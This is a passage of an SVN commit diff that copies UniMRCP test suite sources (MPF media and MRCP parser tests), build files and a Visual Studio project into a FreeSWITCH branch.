+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_test_suite.h"
+#include "apt_log.h"
+
+apt_test_suite_t* mpf_suite_create(apr_pool_t *pool);
+
+int main(int argc, const char * const *argv)
+{
+	apt_test_framework_t *test_framework;
+	apt_test_suite_t *test_suite;
+	apr_pool_t *pool;
+	
+	/* one time apr global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		return 0;
+	}
+
+	/* create test framework */
+	test_framework = apt_test_framework_create();
+	pool = apt_test_framework_pool_get(test_framework);
+
+	/* create test suites and add them to test framework */
+	test_suite = mpf_suite_create(pool);
+	apt_test_framework_suite_add(test_framework,test_suite);
+
+	/* run tests */
+	apt_test_framework_run(test_framework,argc,argv);
+
+	/* destroy test framework */
+	apt_test_framework_destroy(test_framework);
+
+	/* final apr global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/mpf_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/mpf_suite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mpftest/src/mpf_suite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/mpf_suite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mpftest/src/mpf_suite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,416 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_thread_cond.h>
+#include "apt_test_suite.h"
+#include "mpf_engine.h"
+#include "mpf_user.h"
+#include "mpf_termination.h"
+#include "mpf_rtp_termination_factory.h"
+#include "mpf_file_termination_factory.h"
+#include "mpf_audio_file_descriptor.h"
+#include "mpf_rtp_descriptor.h"
+#include "apt_pool.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+typedef struct mpf_suite_session_t mpf_suite_session_t;
+typedef struct mpf_suite_engine_t mpf_suite_engine_t;
+
+
+/** Test suite session */
+struct mpf_suite_session_t {
+	/** Pool to allocate memory from */
+	apr_pool_t        *pool;
+
+	/** Media context associated with the session */
+	mpf_context_t     *context;
+	/** The first termination in the context */
+	mpf_termination_t *termination1;
+	/** The second termination in the context */
+	mpf_termination_t *termination2;
+	/** RTP or file termination mode */
+	apt_bool_t         rtp_mode;
+};
+
+/** Test suite engine */
+struct mpf_suite_engine_t {
+	/** The main task of the test engine, which sends messages to MPF engine and 
+	 * processes responses and events sent back from MPF engine */
+	apt_consumer_task_t       *consumer_task;
+	/** MPF engine task */
+	apt_task_t                *engine_task;
+	/** RTP termination factory */
+	mpf_termination_factory_t *rtp_termination_factory;
+	/** File termination factory */
+	mpf_termination_factory_t *file_termination_factory;
+
+	/** Wait object, which is signalled to indicate shutdown */
+	apr_thread_cond_t         *wait_object;
+	/** Mutex of the wait object */
+	apr_thread_mutex_t        *wait_object_mutex;
+};
+
+static apt_bool_t mpf_test_run(apt_test_suite_t *suite, int argc, const char * const *argv);
+
+static void mpf_suite_on_start_complete(apt_task_t *task);
+static void mpf_suite_on_terminate_complete(apt_task_t *task);
+static apt_bool_t mpf_suite_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+static mpf_audio_file_descriptor_t* mpf_file_reader_descriptor_create(mpf_suite_session_t *session);
+static mpf_audio_file_descriptor_t* mpf_file_writer_descriptor_create(mpf_suite_session_t *session);
+static mpf_rtp_stream_descriptor_t* mpf_rtp_local_descriptor_create(mpf_suite_session_t *session);
+static mpf_rtp_stream_descriptor_t* mpf_rtp_remote_descriptor_create(mpf_suite_session_t *session);
+
+
+/** Create MPF test suite */
+apt_test_suite_t* mpf_suite_create(apr_pool_t *pool)
+{
+	apt_test_suite_t *suite = apt_test_suite_create(pool,"mpf",NULL,mpf_test_run);
+	return suite;
+}
+
+/** Run MPF test suite */
+static apt_bool_t mpf_test_run(apt_test_suite_t *suite, int argc, const char * const *argv)
+{
+	mpf_suite_engine_t *suite_engine;
+	mpf_codec_manager_t *codec_manager;
+	mpf_rtp_config_t *config;
+	mpf_engine_t *engine;
+
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+
+	suite_engine = apr_palloc(suite->pool,sizeof(mpf_suite_engine_t));
+
+	engine = mpf_engine_create(suite->pool);
+	if(!engine) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create MPF Engine");
+		return FALSE;
+	}
+	codec_manager = mpf_engine_codec_manager_create(suite->pool);
+	if(codec_manager) {
+		mpf_engine_codec_manager_register(engine,codec_manager);
+	}
+	suite_engine->engine_task = mpf_task_get(engine);
+
+	config = mpf_rtp_config_create(suite->pool);
+	apt_string_set(&config->ip,"127.0.0.1");
+	config->rtp_port_min = 5000;
+	config->rtp_port_min = 6000;
+	suite_engine->rtp_termination_factory = mpf_rtp_termination_factory_create(config,suite->pool);
+	suite_engine->file_termination_factory = mpf_file_termination_factory_create(suite->pool);
+
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(mpf_message_t),suite->pool);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create Consumer Task");
+	suite_engine->consumer_task = apt_consumer_task_create(suite_engine,msg_pool,suite->pool);
+	if(!suite_engine->consumer_task) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Create Consumer Task");
+		return FALSE;
+	}
+	task = apt_consumer_task_base_get(suite_engine->consumer_task);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->process_msg = mpf_suite_msg_process;
+		vtable->on_start_complete = mpf_suite_on_start_complete;
+		vtable->on_terminate_complete = mpf_suite_on_terminate_complete;
+	}
+
+	apt_task_add(task,suite_engine->engine_task);
+
+	apr_thread_mutex_create(&suite_engine->wait_object_mutex,APR_THREAD_MUTEX_UNNESTED,suite->pool);
+	apr_thread_cond_create(&suite_engine->wait_object,suite->pool);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Start Task");
+	if(apt_task_start(task) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Start Task");
+		apt_task_destroy(task);
+		return FALSE;
+	}
+
+	apr_thread_mutex_lock(suite_engine->wait_object_mutex);
+	apr_thread_cond_wait(suite_engine->wait_object,suite_engine->wait_object_mutex);
+	apr_thread_mutex_unlock(suite_engine->wait_object_mutex);
+	
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Terminate Task [wait till complete]");
+	apt_task_terminate(task,TRUE);
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Destroy Task");
+	apt_task_destroy(task);
+
+	apr_thread_cond_destroy(suite_engine->wait_object);
+	apr_thread_mutex_destroy(suite_engine->wait_object_mutex);
+	return TRUE;
+}
+
+/** Start execution of MPF test suite scenario  */
+static void mpf_suite_on_start_complete(apt_task_t *task)
+{
+	mpf_suite_session_t *session;
+	apt_task_t *consumer_task;
+	mpf_suite_engine_t *suite_engine;
+	apt_task_msg_t *msg;
+	mpf_message_t *mpf_message;
+	apr_pool_t *pool = NULL;
+
+	consumer_task = apt_task_object_get(task);
+	suite_engine = apt_task_object_get(consumer_task);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"On MPF Suite Start");
+	pool = apt_pool_create();
+	session = apr_palloc(pool,sizeof(mpf_suite_session_t));
+	session->pool = pool;
+	session->context = NULL;
+	session->termination1 = NULL;
+	session->termination2 = NULL;
+	session->rtp_mode = TRUE;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create MPF Context");
+	session->context = mpf_context_create(session,2,pool);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create Termination [1]");
+	session->termination1 = mpf_termination_create(suite_engine->file_termination_factory,session,session->pool);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add Termination [1]");
+	msg = apt_task_msg_get(task);
+	msg->type = TASK_MSG_USER;
+	mpf_message = (mpf_message_t*) msg->data;
+
+	mpf_message->message_type = MPF_MESSAGE_TYPE_REQUEST;
+	mpf_message->command_id = MPF_COMMAND_ADD;
+	mpf_message->context = session->context;
+	mpf_message->termination = session->termination1;
+	mpf_message->descriptor = mpf_file_reader_descriptor_create(session);
+	apt_task_msg_signal(suite_engine->engine_task,msg);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Create Termination [2]");
+	if(session->rtp_mode == TRUE) {
+		session->termination2 = mpf_termination_create(suite_engine->rtp_termination_factory,session,session->pool);
+	}
+	else {
+		session->termination2 = mpf_termination_create(suite_engine->file_termination_factory,session,session->pool);
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add Termination [2]");
+	msg = apt_task_msg_get(task);
+	msg->type = TASK_MSG_USER;
+	mpf_message = (mpf_message_t*) msg->data;
+
+	mpf_message->message_type = MPF_MESSAGE_TYPE_REQUEST;
+	mpf_message->command_id = MPF_COMMAND_ADD;
+	mpf_message->context = session->context;
+	mpf_message->termination = session->termination2;
+	if(session->rtp_mode == TRUE) {
+		mpf_message->descriptor = mpf_rtp_local_descriptor_create(session);
+	}
+	else {
+		mpf_message->descriptor = mpf_file_writer_descriptor_create(session);
+	}
+	apt_task_msg_signal(suite_engine->engine_task,msg);
+}
+
+/** Execution of MPF test suite scenario is terminated  */
+static void mpf_suite_on_terminate_complete(apt_task_t *task)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"On MPF Suite Terminate");
+}
+
+/** Process task messages  */
+static apt_bool_t mpf_suite_msg_process(apt_task_t *task, apt_task_msg_t *msg)
+{
+	const mpf_message_t *mpf_message = (const mpf_message_t*) msg->data;
+	if(mpf_message->message_type == MPF_MESSAGE_TYPE_RESPONSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process MPF Response");
+		if(mpf_message->command_id == MPF_COMMAND_ADD) {
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Add Termination");
+			if(mpf_message->termination) {
+				mpf_suite_session_t *session;
+				session = mpf_termination_object_get(mpf_message->termination);
+				if(session->termination2 == mpf_message->termination && session->rtp_mode == TRUE) {
+					apt_task_msg_t *msg;
+					mpf_message_t *request;
+					apt_task_t *consumer_task;
+					mpf_suite_engine_t *suite_engine;
+
+					consumer_task = apt_task_object_get(task);
+					suite_engine = apt_task_object_get(consumer_task);
+
+					msg = apt_task_msg_get(task);
+					msg->type = TASK_MSG_USER;
+					request = (mpf_message_t*) msg->data;
+
+					request->message_type = MPF_MESSAGE_TYPE_REQUEST;
+					request->command_id = MPF_COMMAND_MODIFY;
+					request->context = session->context;
+					request->termination = session->termination2;
+					request->descriptor = mpf_rtp_remote_descriptor_create(session);
+					apt_task_msg_signal(suite_engine->engine_task,msg);
+				}
+			}
+		}
+		else if(mpf_message->command_id == MPF_COMMAND_SUBTRACT) {
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"On Subtract Termination");
+			if(mpf_message->termination) {
+				mpf_suite_session_t *session;
+				session = mpf_termination_object_get(mpf_message->termination);
+				if(session->termination1 == mpf_message->termination) {
+					session->termination1 = NULL;
+				}
+				if(session->termination2 == mpf_message->termination) {
+					session->termination2 = NULL;
+				}
+				mpf_termination_destroy(mpf_message->termination);
+
+				if(!session->termination1 && !session->termination2) {
+					apt_task_t *consumer_task;
+					mpf_suite_engine_t *suite_engine;
+
+					mpf_context_destroy(session->context);
+					session->context = NULL;
+					apr_pool_destroy(session->pool);
+
+					consumer_task = apt_task_object_get(task);
+					suite_engine = apt_task_object_get(consumer_task);
+
+					apr_thread_mutex_lock(suite_engine->wait_object_mutex);
+					apr_thread_cond_signal(suite_engine->wait_object);
+					apr_thread_mutex_unlock(suite_engine->wait_object_mutex);
+				}
+			}
+		}
+	}
+	else if(mpf_message->message_type == MPF_MESSAGE_TYPE_EVENT) {
+		apt_task_t *consumer_task;
+		mpf_suite_engine_t *suite_engine;
+		apt_task_msg_t *msg;
+		mpf_message_t *request;
+		mpf_suite_session_t *session;
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Process MPF Event");
+		if(mpf_message->termination) {
+			session = mpf_termination_object_get(mpf_message->termination);
+			if(session->termination1) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Subtract Termination [1]");
+				msg = apt_task_msg_get(task);
+				msg->type = TASK_MSG_USER;
+				request = (mpf_message_t*) msg->data;
+
+				request->message_type = MPF_MESSAGE_TYPE_REQUEST;
+				request->command_id = MPF_COMMAND_SUBTRACT;
+				request->context = session->context;
+				request->termination = session->termination1;
+
+				consumer_task = apt_task_object_get(task);
+				suite_engine = apt_task_object_get(consumer_task);
+				apt_task_msg_signal(suite_engine->engine_task,msg);
+			}
+			if(session->termination2) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Subtract Termination [2]");
+				msg = apt_task_msg_get(task);
+				msg->type = TASK_MSG_USER;
+				request = (mpf_message_t*) msg->data;
+
+				request->message_type = MPF_MESSAGE_TYPE_REQUEST;
+				request->command_id = MPF_COMMAND_SUBTRACT;
+				request->context = session->context;
+				request->termination = session->termination2;
+
+				consumer_task = apt_task_object_get(task);
+				suite_engine = apt_task_object_get(consumer_task);
+				apt_task_msg_signal(suite_engine->engine_task,msg);
+			}
+		}
+	}
+
+	return TRUE;
+}
+
+/** Create sample file reader descriptor */
+static mpf_audio_file_descriptor_t* mpf_file_reader_descriptor_create(mpf_suite_session_t *session)
+{
+	mpf_codec_descriptor_t *codec_descriptor;
+	mpf_audio_file_descriptor_t *descriptor = apr_palloc(session->pool,sizeof(mpf_audio_file_descriptor_t));
+	descriptor->mask = FILE_READER;
+	descriptor->read_handle = fopen("demo.pcm","rb");
+	descriptor->write_handle = NULL;
+
+	codec_descriptor = &descriptor->codec_descriptor;
+	codec_descriptor->payload_type = 96;
+	apt_string_set(&codec_descriptor->name,"LPCM");
+	codec_descriptor->sampling_rate = 8000;
+	codec_descriptor->channel_count = 1;
+	return descriptor;
+}
+
+/** Create sample file writer descriptor */
+static mpf_audio_file_descriptor_t* mpf_file_writer_descriptor_create(mpf_suite_session_t *session)
+{
+	mpf_codec_descriptor_t *codec_descriptor;
+	mpf_audio_file_descriptor_t *descriptor = apr_palloc(session->pool,sizeof(mpf_audio_file_descriptor_t));
+	descriptor->mask = FILE_WRITER;
+	descriptor->max_write_size = 500000; /* 500Kb */
+	descriptor->write_handle = fopen("demo_out.pcm","wb");
+	descriptor->read_handle = NULL;
+
+	codec_descriptor = &descriptor->codec_descriptor;
+	codec_descriptor->payload_type = 96;
+	apt_string_set(&codec_descriptor->name,"LPCM");
+	codec_descriptor->sampling_rate = 8000;
+	codec_descriptor->channel_count = 1;
+	return descriptor;
+}
+
+/** Create sample RTP local descriptor */
+static mpf_rtp_stream_descriptor_t* mpf_rtp_local_descriptor_create(mpf_suite_session_t *session)
+{
+	mpf_rtp_stream_descriptor_t *descriptor = apr_palloc(session->pool,sizeof(mpf_rtp_stream_descriptor_t));
+	mpf_rtp_stream_descriptor_init(descriptor);
+	descriptor->local = apr_palloc(session->pool,sizeof(mpf_rtp_media_descriptor_t));
+	mpf_rtp_media_descriptor_init(descriptor->local);
+	descriptor->local->mode = STREAM_MODE_NONE;
+	apt_string_set(&descriptor->local->base.ip,"127.0.0.1");
+	descriptor->local->base.port = 5000;
+	return descriptor;
+}
+
+/** Create sample RTP remote descriptor */
+static mpf_rtp_stream_descriptor_t* mpf_rtp_remote_descriptor_create(mpf_suite_session_t *session)
+{
+	mpf_codec_list_t *codec_list;
+	mpf_codec_descriptor_t *codec_descriptor;
+	mpf_rtp_stream_descriptor_t *descriptor = apr_palloc(session->pool,sizeof(mpf_rtp_stream_descriptor_t));
+	mpf_rtp_stream_descriptor_init(descriptor);
+	descriptor->remote = apr_palloc(session->pool,sizeof(mpf_rtp_media_descriptor_t));
+	mpf_rtp_media_descriptor_init(descriptor->remote);
+	descriptor->remote->mode = STREAM_MODE_SEND_RECEIVE;
+	apt_string_set(&descriptor->remote->base.ip,"127.0.0.1");
+	descriptor->remote->base.port = 5002;
+	codec_list = &descriptor->remote->codec_list;
+	mpf_codec_list_init(codec_list,2,session->pool);
+	codec_descriptor = mpf_codec_list_add(codec_list);
+	if(codec_descriptor) {
+		codec_descriptor->payload_type = 0;
+	}
+	codec_descriptor = mpf_codec_list_add(codec_list);
+	if(codec_descriptor) {
+		codec_descriptor->payload_type = 96;
+		apt_string_set(&codec_descriptor->name,"PCMU");
+		codec_descriptor->sampling_rate = 16000;
+		codec_descriptor->channel_count = 1;
+	}
+
+	return descriptor;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest)

Property changes: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+MAINTAINERCLEANFILES = Makefile.in
+
+INCLUDES             = -I$(top_srcdir)/libs/mrcp/include \
+                       -I$(top_srcdir)/libs/mrcp/message/include \
+                       -I$(top_srcdir)/libs/mrcp/control/include \
+                       -I$(top_srcdir)/libs/mrcp/resources/include \
+                       -I$(top_srcdir)/libs/apr-toolkit/include \
+                       $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+noinst_PROGRAMS      = mrcptest
+mrcptest_LDADD       = $(top_builddir)/libs/mrcp/libmrcp.la \
+                       $(top_builddir)/libs/apr-toolkit/libaprtoolkit.la \
+                       $(UNIMRCP_APR_LIBS) $(UNIMRCP_APU_LIBS)
+mrcptest_SOURCES     = src/main.c \
+                       src/parse_gen_suite.c \
+                       src/set_get_suite.c

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/mrcptest.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/mrcptest.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/mrcptest.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/mrcptest.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/mrcptest.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,171 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8,00"
+	Name="mrcptest"
+	ProjectGUID="{3CA97077-6210-4362-998A-D15A35EEAA08}"
+	RootNamespace="mrcptest"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcp.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="mrcp.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcp.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="mrcp.lib aprtoolkit.lib libaprutil-1.lib libapr-1.lib"
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\main.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\parse_gen_suite.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\set_get_suite.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/main.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/main.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/src/main.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/main.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/main.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "apt_test_suite.h"
+#include "apt_log.h"
+
+apt_test_suite_t* parse_gen_test_suite_create(apr_pool_t *pool);
+apt_test_suite_t* set_get_test_suite_create(apr_pool_t *pool);
+
+int main(int argc, const char * const *argv)
+{
+	apt_test_framework_t *test_framework;
+	apt_test_suite_t *test_suite;
+	apr_pool_t *pool;
+	
+	/* one time apr global initialization */
+	if(apr_initialize() != APR_SUCCESS) {
+		return 0;
+	}
+
+	/* create test framework */
+	test_framework = apt_test_framework_create();
+	pool = apt_test_framework_pool_get(test_framework);
+
+	/* create test suites and add them to test framework */
+	test_suite = set_get_test_suite_create(pool);
+	apt_test_framework_suite_add(test_framework,test_suite);
+	test_suite = parse_gen_test_suite_create(pool);
+	apt_test_framework_suite_add(test_framework,test_suite);
+
+	/* run tests */
+	apt_test_framework_run(test_framework,argc,argv);
+
+	/* destroy test framework */
+	apt_test_framework_destroy(test_framework);
+
+	/* final apr global termination */
+	apr_terminate();
+	return 0;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/parse_gen_suite.c

Copied: freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/parse_gen_suite.c (from rev 14471, freeswitch/trunk/libs/unimrcp/tests/mrcptest/src/parse_gen_suite.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/parse_gen_suite.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/tests/mrcptest/src/parse_gen_suite.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,193 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_file_info.h>
+#include <apr_file_io.h>
+#include "apt_test_suite.h"
+#include "apt_log.h"
+#include "mrcp_default_factory.h"
+#include "mrcp_message.h"
+#include "mrcp_stream.h"
+
+static apt_bool_t test_stream_generate(mrcp_generator_t *generator, mrcp_message_t *message)
+{
+	char buffer[500];
+	apt_text_stream_t stream;
+	mrcp_stream_result_e result;
+	apt_bool_t continuation;
+
+	mrcp_generator_message_set(generator,message);
+	do {
+		apt_text_stream_init(&stream,buffer,sizeof(buffer)-1);
+		continuation = FALSE;
+		result = mrcp_generator_run(generator,&stream);
+		if(result == MRCP_STREAM_MESSAGE_COMPLETE) {
+			stream.text.length = stream.pos - stream.text.buf;
+			*stream.pos = '\0';
+			apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Generated MRCP Stream [%lu bytes]\n%s",stream.text.length,stream.text.buf);
+		}
+		else if(result == MRCP_STREAM_MESSAGE_TRUNCATED) {
+			*stream.pos = '\0';
+			apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Generated MRCP Stream [%lu bytes] continuation awaiting\n%s",stream.text.length,stream.text.buf);
+			continuation = TRUE;
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate MRCP Stream");
+		}
+	}
+	while(continuation == TRUE);
+	return TRUE;
+}
+
+static apt_bool_t mrcp_message_handler(void *obj, mrcp_message_t *message, mrcp_stream_result_e result)
+{
+	if(result == MRCP_STREAM_MESSAGE_COMPLETE) {
+		/* message is completely parsed */
+		mrcp_generator_t *generator = obj;
+		test_stream_generate(generator,message);
+	}
+	return TRUE;
+}
+
+static apt_bool_t resource_name_read(apr_file_t *file, mrcp_parser_t *parser)
+{
+	char buffer[100];
+	apt_text_stream_t stream;
+	apt_bool_t status = FALSE;
+	apt_text_stream_init(&stream,buffer,sizeof(buffer)-1);
+	if(apr_file_read(file,stream.pos,&stream.text.length) != APR_SUCCESS) {
+		return FALSE;
+	}
+
+	/* skip the first line in a test file, which indicates resource name */
+	if(*stream.pos =='/' && *(stream.pos+1)=='/') {
+		apt_str_t line;
+		stream.pos += 2;
+		if(apt_text_line_read(&stream,&line) == TRUE) {
+			apr_off_t offset = stream.pos - stream.text.buf;
+			apr_file_seek(file,APR_SET,&offset);
+			mrcp_parser_resource_name_set(parser,&line);
+			status = TRUE;
+		}
+	}
+	return status;
+}
+
+static apt_bool_t test_file_process(apt_test_suite_t *suite, mrcp_resource_factory_t *factory, mrcp_version_e version, const char *file_path)
+{
+	apr_file_t *file;
+	char buffer[500];
+	apt_text_stream_t stream;
+	mrcp_parser_t *parser;
+	mrcp_generator_t *generator;
+	apr_size_t length;
+	apr_size_t offset;
+	apt_str_t resource_name;
+
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Open File [%s]",file_path);
+	if(apr_file_open(&file,file_path,APR_FOPEN_READ | APR_FOPEN_BINARY,APR_OS_DEFAULT,suite->pool) != APR_SUCCESS) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Open File");
+		return FALSE;
+	}
+
+	parser = mrcp_parser_create(factory,suite->pool);
+	generator = mrcp_generator_create(factory,suite->pool);
+
+	apt_string_reset(&resource_name);
